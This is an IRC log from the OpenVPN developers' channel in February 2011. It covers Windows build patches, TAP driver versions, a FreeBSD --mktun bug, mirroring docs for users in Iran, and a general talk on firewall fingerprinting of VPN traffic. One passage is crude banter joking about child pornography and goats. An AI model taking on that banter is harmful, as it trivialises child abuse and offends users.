update comes in , using a http:// link , and I click on it in xchat I am logged OUT of the forums , because you're logged in only on an HTTPS link 06:41 <@mattock> dazo: there? 06:41 <@mattock> janjust: yep, that's a known issue 06:41 <@dazo> mattock: kind of :) In a presentation of systemd 06:41 <@mattock> janjust: it has to do with cookie domains... if you try https instead http it will work 06:41 <@dazo> mattock: but please bug me :) 06:42 <@mattock> dazo: I configure git-send-email... mind if I send you a test mail to see if needs more configuration 06:42 <+janjust> mattock: yep, but perhaps it would be easier if the links posted on the IRC channel start with https then 06:42 <@dazo> mattock: please do! 06:43 <@mattock> janjust: I agree... you could ask krzee or ecrist about that. Apparently there was an issue with RSS feeds or something 06:43 <@mattock> which required use of http 06:43 <@mattock> I can't remember the details 06:43 <+janjust> ah ok... if something else breaks with https links then never mind 06:43 <+janjust> it's just annoying that if you click on a link in IRC that you get logged out, that's all 06:44 <+janjust> yet another reason to not hang around on IRC too much ;-) 06:50 < krzie> other way around, RSS gives http:// but we need https:// 06:50 < krzie> oh nm, thats what he said 06:50 < krzie> (just woke up, 4:50am here, lol) 06:54 <+ecrist> what did I do? 07:05 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Quit: EvilJStoker is gone :(] 07:10 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 07:11 -!- krzie [krzee@hemp.ircpimps.org] has quit [Quit: Leaving] 07:11 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 07:11 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 07:11 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 07:11 -!- mode/#openvpn-devel [+v krzee] by ChanServ 07:20 <@mattock> hmm, it seems the snprintf issue in service-win32/openvpnserv.c is still unfixed 07:20 <@mattock> in mysprintf function 07:22 <@dazo> mattock: let it be, and we'll do that in 2.2 final 07:22 <@mattock> ok 07:22 <@dazo> we need a few patches for the stable release :) 07:22 <+ecrist> makes it look like we're doing something. 07:22 <@dazo> or we will postpone it for 2.3, if it's massive changes 07:22 <@dazo> yeah :) 07:23 <@mattock> any idea what is the _real_ minor version for the TAP driver? 07:24 <@mattock> I got 9.1 and 9.7 07:24 <@mattock> Windows installer installs 9.1 07:24 <@mattock> I wonder if 9.7 is some AS-specific 07:24 <@mattock> ...version number 07:24 <@mattock> James said something along those lines 07:27 <@dazo> hmmm 07:27 * dazo checks 07:32 <@dazo> mattock: 9.1 is the latest version we got now 07:32 <@dazo> If 9.7 is AS specific ... I really wonder why that's not upstream yet 07:32 <@mattock> good, one patch edits version.m4 07:32 <@mattock> I think it's just to avoid driver collision on Windows 07:33 <@mattock> or to allow openvpn and AS client to live together 07:33 <@mattock> I hope James really reviews these patches, as they will break his stuff 07:33 <@dazo> which is another reason why to have a separate wintap driver as a separate installed entity, outside of OpenVPN 07:33 <@mattock> almost certainly 07:33 <@mattock> yes 07:34 <@cron2> "normal git" version.m4 requires 9.1 07:35 <@cron2> ipv6-enabled tap is 9.7 or 9.8 or something 07:35 <@cron2> this got bumped with the ipv6 changes, and then james bumped it again 07:36 <@dazo> to be honest, if James just prolongs his switch to git and thinks breaks ... that's purely his problem, he said in a meeting last spring/summer that he would be ready for a switch around Christmas, and he supported the git move as well 07:36 <@mattock> I won't be able to generate neat "one feature" patches, some files have seen too many separate edits 07:36 <+janjust> mattock's installer installs an openvpn.exe that *requires* tap-win32 9.7 , so it seems 07:36 <@mattock> dazo: agreed 07:36 <@cron2> mattock: I don't see why this should be needed, there is nothing in 2.2 that needs more recent tap driver features 07:36 <@mattock> janjust: at least that proves version.m4 parsing works :)... that's what was in it (robbed from win/settings.in) 07:36 <@dazo> janjust: that's probably because we packaged james' builded drivers 07:36 <@mattock> that can be fixed easily 07:37 <@mattock> actually, it is already fixed 07:37 <@mattock> dazo: oh yes, that's true 07:37 <@mattock> there's nothing I can do, actually 07:37 <@cron2> dazo: shipping tap 9.8 is fine, doesn't mean openvpn.exe has to require 9.8 if all it uses is 9.1 features 07:37 <+janjust> so should i try installing this thing on win2000 again *grin* 07:37 <@cron2> mattock, dazo: who changes version.m4 to 9.8? 07:37 <@cron2> what I have in my 2.2-beta checkout is 07:38 <@cron2> define(PRODUCT_TAP_WIN32_MIN_MAJOR,[9]) 07:38 <@dazo> cron2: that is absolutely true ... we should have our IPv6 enabled TAP driver in 2.2 07:38 <@cron2> define(PRODUCT_TAP_WIN32_MIN_MINOR,[1]) 07:38 <@mattock> cron2: no clue... I switched version.m4 back to 9.1 07:38 <@cron2> dazo: yes, of course 07:38 * dazo wonders what has happened 07:38 <@mattock> it was 9.7 after my modifications 07:38 <@mattock> _but_ I used James' TAP driver, so that is probably 9.7 / 9.8 07:38 <@cron2> "pack 9.8, but only require 9.1" - 2.3-on-windows will log a warning if ipv6 is requested and the TAP driver is pre-9.8, but will still work 07:38 <@dazo> mattock: and that driver is not IPv6 enabled, I believe 07:39 <@mattock> probably not 07:39 <@cron2> we should definitely pack our signed 2.2 driver :) 07:39 <@mattock> (almost certainly) 07:39 <@dazo> absolutely! 07:45 -!- dazo is now known as dazo_afk 08:01 -!- dazo_afk is now known as dazo 08:08 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 240 seconds] 08:09 -!- cron2 [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 08:40 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has quit [Read error: Operation timed out] 08:41 <@mattock> ok, patches finally ready 08:42 <@dazo> \o/ 08:42 * dazo is looking fwd to parse them :) 08:45 <@mattock> 12 patches 08:45 -!- d12fk [~heiko@vpn.astaro.de] has joined #openvpn-devel 08:45 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 09:00 <@mattock> patchset looks good, I'll send it to -devel 09:12 <@dazo> nice! :) 09:13 <+krzee> [07:11] <na3r_> krzee:that site is filtered in iran 09:13 <+krzee> [07:11] <janjust> openvpn.net is filtered in iran? yikes! 09:13 <+krzee> [07:12] <na3r_> janjust:yeah :( 09:13 <@dazo> oh man 09:13 <+krzee> ya man 09:14 <+krzee> gunna see if ecrist can host a mirror of at least the howto on SCN 09:14 <@dazo> mattock: I believe that can be considered a successful git spam :) And I love it! :) 09:14 <@dazo> krzee: maybe we should consider to rent a VPS in Europe or Asia? 09:14 <@dazo> to act as a mirror 09:15 -!- Netsplit *.net <-> *.split quits: cron2, @d12fk, EvilJStoker, @mattock, EO_ 09:15 -!- Netsplit *.net <-> *.split quits: chantra_afk, agi, waldner 09:15 <+krzee> dazo, i think we have a friend in germany who would be willing to do it 09:15 <@dazo> that'd be a good start! 09:15 <+krzee> i can ask bushmills if we would like 09:15 <@dazo> would be cool to have a mirror in China :-P 09:16 <+krzee> hes very skilled, has a nice server over there, and i believe would be willing 09:16 <@dazo> let's ask :) 09:16 <@dazo> krzee: have you seen this service? http://vpsfree.cz/ 09:16 <@vpnHelper> Title: Úvod | vpsFree.cz - Virtuální Privátní Servery svobodně (at vpsfree.cz) 09:16 <+krzee> [07:15] <janjust> na3r_: manual : http://www.nikhef.nl/~janjust/openvpn/openvpn-2.1-manual.html 09:16 <@vpnHelper> Title: OpenVPN 2.1 (at www.nikhef.nl) 09:16 <+krzee> hehe 09:16 <+krzee> he's fast ;] 09:17 <@dazo> janjust: good job! 09:17 <+janjust> just a wget krzee 09:17 <+krzee> nope, havnt seen them 09:17 <+krzee> janjust, yep, but also on an eu box ;] 09:17 <+janjust> yep, on a frigging-fast eu box too :) 09:19 <+krzee> dazo, very interesting! 09:19 <@dazo> krzee: yeah,I'm considering to support these guys, I like their approach 09:20 <@dazo> in fact, I wonder if one of these guys is a colleague at work 09:20 <+krzee> as do i... and that is a very nice price for some personal eu connectivity as well... i may bite 09:20 <@dazo> :) 09:20 <+krzee> ouch, no bsd 09:21 <+krzee> linux, linux, and linux 09:21 <@dazo> heh 09:21 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 09:21 -!- d457k [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 09:21 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 09:21 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 09:21 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:21 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 09:21 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 09:21 -!- chantra_afk [~chantra@unaffiliated/chantra] has joined #openvpn-devel 09:21 -!- agi [~agi@manson.entorno-digital.com] has joined #openvpn-devel 09:21 -!- ServerMode/#openvpn-devel [+ooo d457k cron2 mattock] by jordan.freenode.net 09:22 <@dazo> OpenVZ is very linux centric, that's true 09:22 * dazo would like if they did KVM instead ... that would give real VM's, where you could install whichever OS you'd like 09:23 <+janjust> yeah dazo, such as FreeDOS! 09:23 <+janjust> did somebody port openvpn to FreeDOS yet? 09:23 <+krzee> lol 09:23 <@dazo> lol 09:23 <+krzee> still waiting on tuntap janjust ;] 09:24 <+krzee> just like openVMS =] 09:24 <+janjust> hehe I once spent about a week trying to get tap-win32 to work on NT4 09:24 <+krzee> i once spent a month configuring an openVMS machine, i still have flashbacks 09:24 <+krzee> (did i mention no manual?) 09:25 -!- chantra_1fk [~chantra@ns38827.ovh.net] has joined #openvpn-devel 09:25 -!- Netsplit *.net <-> *.split quits: @d457k, agi, waldner 09:26 <@dazo> mattock: I see that you managed to send 0000-cover-letter separately ... so it got the wrong mail threading ... but not a bad start, anyway :) Except of that you're doing git send-email correctly 09:27 -!- Netsplit over, joins: @d457k, waldner, agi 09:27 <@mattock> yeah, I did not realize git-send-email actually kept the connection to the SMTP server open 09:27 <@mattock> so, I waited to see how the patch 00/13 looked before sending the rest 09:27 <@mattock> at which point it had timed out :( 09:27 <@mattock> but now I know better :) 09:29 <@dazo> you can tweak this, if you have the Message-ID from the mail which is on the list ... that's how I've been adding new patches to an existing thread a couple of times 09:29 <@mattock> oh, that's neat! 09:29 <@mattock> I got to check that out 09:29 <@dazo> it basically gets the Message-ID thread from the mail server, somehow, and adds that to the following mails 09:30 -!- chantra_afk [~chantra@unaffiliated/chantra] has quit [Write error: Broken pipe] 09:30 <@dazo> mattock: --in-reply-to= 09:30 <@mattock> ok 09:30 <+krzee> [07:29] <krzee> you can use openvpn with openvpn.net's hosted service! 09:30 <+krzee> [07:29] <krzee> (what i linked above) 09:30 <+krzee> [07:29] <janjust> well krzee, if openvpn.net is blocked it would be hard to get a connection :./ 09:30 <@mattock> now I'll just wait for the wolves to arrive... :P 09:30 <+krzee> [07:30] <krzee> good point, +1 for eu connectivity 09:30 <+krzee> mattock, 09:31 <+krzee> you prolly wanna take that up at corp 09:31 <@mattock> oh, blocked outside the States? 09:31 <+krzee> iran 09:31 * dazo brb ... need to go off-line 09:31 <+krzee> [07:13] <krzee> [07:11] <na3r_> krzee:that site is filtered in iran 09:31 <+krzee> [07:13] <krzee> [07:11] <janjust> openvpn.net is filtered in iran? yikes! 09:31 <+krzee> [07:13] <krzee> [07:12] <na3r_> janjust:yeah :( 09:31 <@mattock> hmm, interesting 09:32 <@mattock> -> TODO 09:32 <+janjust> of course, I am not sure how interesting iran is , financially speaking 09:32 <@dazo> krzee: I think that can be difficult, from a policy point of view ... that a US company makes stuff available for Iran, even if servers are outside the US ... it needs to be a non US related entity doing such services 09:32 <+krzee> more interesting if they have firewalls blocking stuff 09:32 <+krzee> thats a common use of openvpn actually 09:32 <+janjust> well, openvpn is pretty easy to detect on modern firewalls 09:33 <+krzee> dazo, well it would rather just be global connectivity 09:33 <+krzee> rather than advertising that they bypass firewalls 09:33 <+krzee> thats just a byproduct 09:33 -!- dazo is now known as dazo_afk 09:33 <+krzee> janjust, true but as of yet i havnt seen non-corp firewalls impliment it 09:34 <+krzee> janjust, i came up with how to do that when reading how port-share works 09:34 <+janjust> came up with what exactly, krzee ? 09:35 <+krzee> well someone mentioned how something in the encryption makes openvpn different than https, and that it could be used to make port-share work... so i figure that same thing could fingerprint openvpn in a firewall 09:37 <+krzee> trying to find the post 09:38 <+krzee> http://openvpn.net/archive/openvpn-users/2005-01/msg00501.html 09:38 <@vpnHelper> Title: [Openvpn-users] Re: how to share tcp port 443 between OpenVpn and Apache? (at openvpn.net) 09:38 <+janjust> yep krzee, that's pretty much how it would work 09:39 <+janjust> I've seen juniper routers that can do deep inspection and simply block openvpn traffic based on this 09:39 <+krzee> would be impossible in ovpn3 because that would be part of a module that could more easily be changed 09:40 <+krzee> so the game of cat and mouse would continue 09:40 <+janjust> or simply stick an 'stunnel' in between to make it look like https traffic 09:40 <+janjust> then I'd look at the balance between in- and outgoing traffic, krzee 09:40 <+janjust> most vpns show a different in/out pattern then https traffic 09:40 <+krzee> this is true 09:41 <+janjust> so you'd end up adding fake traffic to your vpn traffic to make it look like https again 09:41 <+janjust> and yes, the game continues 09:41 <+krzee> think anyone filters based on this? it would be extremely effective 09:41 <+janjust> some high security places would use tricks like this, I gather 09:42 -!- dazo_afk is now known as dazo 09:43 * janjust sees that he's been upgraded from "OpenVPN Newbie" to "OpenVPN User" on the forums :-] 09:44 <+krzee> lol 09:44 <+krzee> actually, to a global mod 09:45 <+janjust> I made moderator yesterday, today I've been promoted to "User" ! 09:45 <+krzee> ahh, lol from # of posts 09:45 <+krzee> you arent a newbie anymore! 09:45 <+krzee> o_O 09:45 <+janjust> that's what I figure indeed; yesterday I couldn't post anything without moderator approval, so krzee made me moderator 09:46 <+janjust> err, dazo made me moderator 09:46 <+krzee> i guess i was late cause i made you a mod too about an hour ago 09:46 <+krzee> hah 09:47 <+janjust> here's an idea for a setup that didn't make it into my book 09:47 <+krzee> janjust, you wanna mirror the howto as well and ill link in vpnHelper? 09:47 <+janjust> - use a 'tap' setup 09:47 <+janjust> - specify 'server-bridge' without an IP 09:48 <+janjust> - do NOT use bridging 09:48 <+janjust> - use an external DHCP server 09:48 * dazo pays attention to a deltacloud API talk 09:48 <+janjust> - bring up tap0 before starting openvpn 09:48 <+janjust> - bring up tap1 before starting openvpn 09:48 <+janjust> - run dhcrelay on the openvpn server 09:48 <+janjust> - clients conneting to a UDP instance and a TCP instance share IPs from the same DHCP address pool 09:48 <+krzee> ooo 09:49 <+krzee> that is genious 09:49 <+janjust> I haven't tried it but see no reason why it wouldn't work 09:49 <+janjust> alternatively you could run the dhcp server on the openvpn server itself 09:49 <+janjust> no need for 'dhrelay' 09:50 <+janjust> krzee: I've just downloaded the howto and manual page; I did not have the intention to actively mirror them (although I could) 09:50 * krzee is confused... 09:50 <+krzee> [root@butters ~]# openvpn --mktun --dev tun0 09:50 <+krzee> Options error: Unrecognized option or missing parameter(s) in [CMD-LINE]:1: mktun (2.1.4) 09:51 <+krzee> janjust, either way, i can get it mirrored somewhere else in eu im sure 09:52 <+janjust> --mktun worked just fine in 2.1.3 ... let me try 2.1.4 09:52 <+krzee> --mktun should work in freebsd, ive used it before 09:54 <+janjust> krzee, I'm just not sure if my employer would like it if I start mirroring openvpn pages on the institute's web site 09:55 <+janjust> mktun works in 2.1.4 on my centos 5 box 09:55 <+krzee> ahh didnt realize it was work related, i will use another machine :) 09:56 <+janjust> you need to have #define TUNSETPERSIST defined 09:56 <@cron2> the whole "tunnel persistance" code is a mess, because most of it is linux specific, and it's not really generalized for all OSes 09:57 <+ecrist> what did I do? 09:57 <+krzee> weird i know i have used them before, its how you get fbsd jails working with ovpn 09:57 <+janjust> ecrist, which word did you trigger on this time ;-) ? ('mess'? ) 09:57 <+krzee> ecrist, see where i pinged you in #openvpn 09:58 <+ecrist> ok 09:58 <+ecrist> I was referring to this: 09:58 <+ecrist> 09:14:01 <+krzee> gunna see if ecrist can host a mirror of at least the howto on SCN 09:58 <+krzee> yep 09:58 <+krzee> i was too 09:58 <+krzee> openvpn.net is blocked in iran 09:58 <+krzee> gunna ask bushmills bout mirroring in .de too 09:59 <+ecrist> ah, sure, I'll mirror/host whatever. 09:59 <+ecrist> so long as it's not related to child porn. 09:59 <+krzee> aww damn 09:59 <+krzee> always ruining the fun! 09:59 * janjust has got this raunchy pictures site.... 10:00 * krzee notes that xxx.ircpimps.org is not porn related 10:00 <+janjust> ecrist, don't worry, all goats in my pics are at least 6 yr old 10:00 <+ecrist> kid porn is ok, so long is kid is referring to goats and not children. ;) 10:00 <+krzee> LOL 10:01 <+janjust> this is scary: ecrist and I both type something about goats at the same time... 10:01 <+ecrist> look out montana 10:02 <+krzee> ecrist, pls link in !howto/!man when done mirroring 10:02 <+ecrist> oh, you expect me to do the work, too? 10:02 <+krzee> ;] 10:03 <+ecrist> oh, krzee, I didn't get your modifications done to ssl-admin because I came down with pneumonia 10:03 <+ecrist> I promise I will get to it soon, though. 10:03 <+ecrist> soon as in by the end of february. 10:04 <+ecrist> I've got some prelim work in place with Getopt::Long already, it's just figuring out how I want to handle things internally, and fixing some logic 10:06 <+krzee> i know how that is man, i had peumonia recently too, that stuff is brutal! 10:06 <+ecrist> krzee: http://www.secure-computing.net/openvpn/howto.php 10:06 <+ecrist> I need to pretty it up a bit, but there's the base 10:08 -!- janjust_ [~janjust@194.171.97.194] has joined #openvpn-devel 10:08 -!- janjust_ [~janjust@194.171.97.194] has quit [Client Quit] 10:17 <+janjust> << out for the weekend; see y'all 10:17 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 10:29 -!- dazo is now known as dazo_afk 10:35 <@vpnHelper> RSS Update - tickets: #85: mktun in freebsd <https://community.openvpn.net/openvpn/ticket/85> 11:38 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 11:38 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:31 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Remote host closed the connection] 12:31 -!- jamesyonan_ [~jamesyona@ec2-50-16-156-186.compute-1.amazonaws.com] has joined #openvpn-devel 12:31 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 12:31 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:31 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:34 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Remote host closed the connection] 12:34 -!- jamesyonan__ [~jamesyona@ec2-50-16-156-186.compute-1.amazonaws.com] has joined #openvpn-devel 12:34 -!- mode/#openvpn-devel [+o jamesyonan__] by ChanServ 12:34 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:34 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:35 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Remote host closed the connection] 12:35 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:35 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:35 -!- jamesyonan_ [~jamesyona@ec2-50-16-156-186.compute-1.amazonaws.com] has quit [Ping timeout: 255 seconds] 12:38 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Remote host closed the connection] 12:38 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:38 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:38 -!- jamesyonan__ [~jamesyona@ec2-50-16-156-186.compute-1.amazonaws.com] has quit [Ping timeout: 255 seconds] 13:08 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 240 seconds] 13:10 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 14:06 < Essobi> What build environment do I need to build the openvpn client for windows desktops? I saw someone a while back had write up on how to do it with Linux, but I was wondering what the official build process was. I need to hand build a FIPS client version. 14:17 <+krzee> Essobi, i think mattock / james can best answer that 14:26 < Dark-Fx> , 14:39 <@mattock> essobi: I just sent 13 buildsystem patches to openvpn-devel and will update the documentation here to reflect those: https://community.openvpn.net/openvpn/wiki/BuildingOnWindows 14:39 <@vpnHelper> Title: BuildingOnWindows – OpenVPN Community (at community.openvpn.net) 14:39 <@mattock> when do you need to do the build? 14:40 <@mattock> I can help you get openvpn built using that approach (=python-based buildsystem) 14:40 < Essobi> Sometime between now and April it looks.. 14:41 < Essobi> I'll take a peek at your wiki docs thou 14:43 < Essobi> I'm going to have to hand it a custom openssl install to do this, but it looks doable. 14:49 <@mattock> ok, good you're not in a big hurry yet... I'd estimate that getting the patches merged to beta2.2 will take at least a week 14:50 <@mattock> let me know when you are starting your building efforts and I'll do my best to help you out 14:51 < Essobi> roger that man.. I'm going to grab the desktop support guy to build me a box. 15:23 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 16:40 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 17:08 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 17:36 < Dark-Fx> man, this ssd flies 19:09 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Ping timeout: 265 seconds] 19:15 < Essobi> Dark-Fx: What'cha get? 19:16 < Essobi> Dark-Fx: I want one of these. 19:16 < Essobi> http://www.hyperdrive4.com/ 19:16 <@vpnHelper> Title: HyperDrive4 - Superfast Data Storage Device - Home (at www.hyperdrive4.com) 19:18 < Dark-Fx> Intel X25-M 19:18 < Dark-Fx> 120G 19:19 < Dark-Fx> Main reason was to reduce power consumption so I don't have to bring my netbook power adapter everywhere with me 19:20 < Dark-Fx> Apparently I can download so fast from VMWare on this box that it makes my ssh lag 19:20 < Dark-Fx> 11.2MB/s'll do that I suppose. 20:00 <+ecrist> damn, krzee's never around when I want to talk to him. 20:14 -!- mveplus [~Martin@125.70.70.221] has joined #openvpn-devel 20:31 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 20:31 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:32 <+ecrist> speak of the devil 20:32 <+ecrist> krzee: I'm workingon ssl-admin now 20:39 <+ecrist> this is going to take a bit more work than I thought, but I think the end result will be nice. not sure how much work I'm going to get done on it tonight - still feeling like hell 20:45 <+ecrist> krzee: so far, I'm going with this: 20:46 <+ecrist> ecrist@cartman:~/ssl-admin/perl-> ./ssl-admin -c foo.txt -cn eric -cn joe -cn jdoe 20:46 <+ecrist> Using config from foo.txt 20:46 <+ecrist> $VAR1 = [ 20:46 <+ecrist> 'eric', 20:46 <+ecrist> 'joe', 20:46 <+ecrist> 'jdoe' 20:46 <+ecrist> ]; 20:47 <+ecrist> I'm working it out so ./ssl-admin -cn eric, joe, jdoe also works. 21:09 <+krzee> badass 21:11 <+ecrist> it's also going to take me extra time as I'm rewriting the man page as I go. 21:12 <+krzee> no rush, i can write my part into the confgen more or less genericly in waiting 21:15 <+ecrist> meh, this is something I've been putting off for a while, so I may as well get it done. 21:16 <+ecrist> deciding how I want to go about it is the hard part 21:16 <+ecrist> I'm considering ripping out the menu entirely, and requiring command line options going forward. 21:16 <+ecrist> what do you think? 21:25 * ecrist goes away 21:58 <+krzee> well 22:05 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 22:22 < Essobi> ecrist: cli all the way --- Day changed Sat Feb 12 2011 01:56 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 03:36 -!- dazo_afk is now known as dazo 04:35 -!- dazo is now known as dazo_afk 04:47 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 04:47 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 04:47 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 04:47 -!- mode/#openvpn-devel [+v krzee] by ChanServ 05:37 -!- mveplus [~Martin@125.70.70.221] has quit [Ping timeout: 255 seconds] 05:37 -!- mveplus [~Martin@ec2-50-16-199-99.compute-1.amazonaws.com] has joined #openvpn-devel 06:01 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:01 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:12 -!- s7r [~s7r@82.76.239.174] has joined #openvpn-devel 08:00 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Read error: Operation timed out] 08:39 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 08:39 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Quit: EvilJStoker is gone :(] 08:52 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 09:51 -!- mveplus [~Martin@ec2-50-16-199-99.compute-1.amazonaws.com] has quit [Ping timeout: 246 seconds] 10:08 -!- mveplus [~Martin@125.70.70.221] has joined #openvpn-devel 12:30 -!- mveplus [~Martin@125.70.70.221] has quit [Ping timeout: 240 seconds] 12:31 -!- mveplus [~Martin@125.70.70.221] has joined #openvpn-devel 14:54 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 16:27 -!- d457k [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has quit [Ping timeout: 272 seconds] 16:28 -!- d457k [~heiko@vpn.astaro.de] has joined #openvpn-devel 16:28 -!- mode/#openvpn-devel [+o d457k] by ChanServ 18:25 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 255 seconds] 19:54 -!- mveplus [~Martin@125.70.70.221] has quit [Ping timeout: 276 seconds] 20:05 -!- mveplus [~Martin@ec2-50-16-199-99.compute-1.amazonaws.com] has joined #openvpn-devel 20:18 -!- s7r [~s7r@82.76.239.174] has left #openvpn-devel [] 21:43 -!- mveplus [~Martin@ec2-50-16-199-99.compute-1.amazonaws.com] has quit [Ping timeout: 240 seconds] 22:00 -!- mveplus [~Martin@125.70.70.221] has joined #openvpn-devel 23:25 -!- mveplus [~Martin@125.70.70.221] has quit [Ping timeout: 240 seconds] 23:25 -!- mveplus [~Martin@ec2-50-16-199-99.compute-1.amazonaws.com] has joined #openvpn-devel --- Day changed Sun Feb 13 2011 00:30 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 02:06 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 02:41 -!- mveplus [~Martin@ec2-50-16-199-99.compute-1.amazonaws.com] has quit [Ping timeout: 240 seconds] 02:54 -!- mveplus [~Martin@118.114.136.242] has joined #openvpn-devel 03:41 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Read error: Operation timed out] 03:49 -!- mveplus [~Martin@118.114.136.242] has quit [Ping timeout: 240 seconds] 03:52 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 04:03 -!- mveplus [~Martin@118.114.136.242] has joined #openvpn-devel 06:50 -!- s7r [~s7r@82.77.116.57] has joined #openvpn-devel 07:28 <@vpnHelper> RSS Update - tickets: #86: [win32/win64] push "dhcp-option DOMAIN" adds suffix to the tun adapter <https://community.openvpn.net/openvpn/ticket/86> 11:16 -!- mveplus [~Martin@118.114.136.242] has quit [Quit: Leaving] 12:27 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 12:29 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:29 -!- mode/#openvpn-devel [+o mattock] by ChanServ 13:08 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 15:34 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 17:47 -!- s7r [~s7r@82.77.116.57] has quit [Ping timeout: 240 seconds] 17:56 -!- s7r [~s7r@82.77.116.57] has joined #openvpn-devel 17:56 -!- s7r is now known as Guest85387 17:56 -!- Guest85387 [~s7r@82.77.116.57] has left #openvpn-devel [] 21:37 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 22:23 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 22:23 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Mon Feb 14 2011 00:40 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 00:49 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:49 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:42 -!- dazo_afk is now known as dazo 04:06 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 04:35 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 04:35 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 04:35 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 04:35 -!- mode/#openvpn-devel [+v janjust] by ChanServ 06:39 <@mattock> any (developer) interested in doing openvpn-related consulting work? not for us, but another company 06:42 <@mattock> any comments on my patchset? 06:44 * cron2 prefers not to think about Windows 06:45 <@cron2> regarding your first question: I'm usually interested in doing openvpn-related stuff, but the next 4-6 weeks are already too busy, so "not in the short-term" 06:45 * dazo is in the same situation 06:45 <+janjust> mattock: depends on the kind of consulting work ;-) 06:46 <@mattock> I'll ask for details first... what do you think about asking about this on openvpn-devel, too 06:46 <@mattock> ? 06:47 <@mattock> if _they_ are fine with it, of course 06:47 <@cron2> fine with me 06:47 <+janjust> if there are big bucks involved then don't ask - I want to be in on it first ;-) 06:47 <@mattock> janjust: :D 06:47 <@cron2> if there's big bucks and IPv6 involved, no need to ask "this is all mine!!" ;-) 06:47 <@mattock> janjust: if it's "generic" openvpn consulting, then I think you're "the man" to ask 06:47 <+janjust> hehe cron2 06:48 <@mattock> as you can see, things get complicated when there's money involved 06:48 <@mattock> :) 06:48 <+janjust> mattock: there was a similar request from somebody on the forums a few 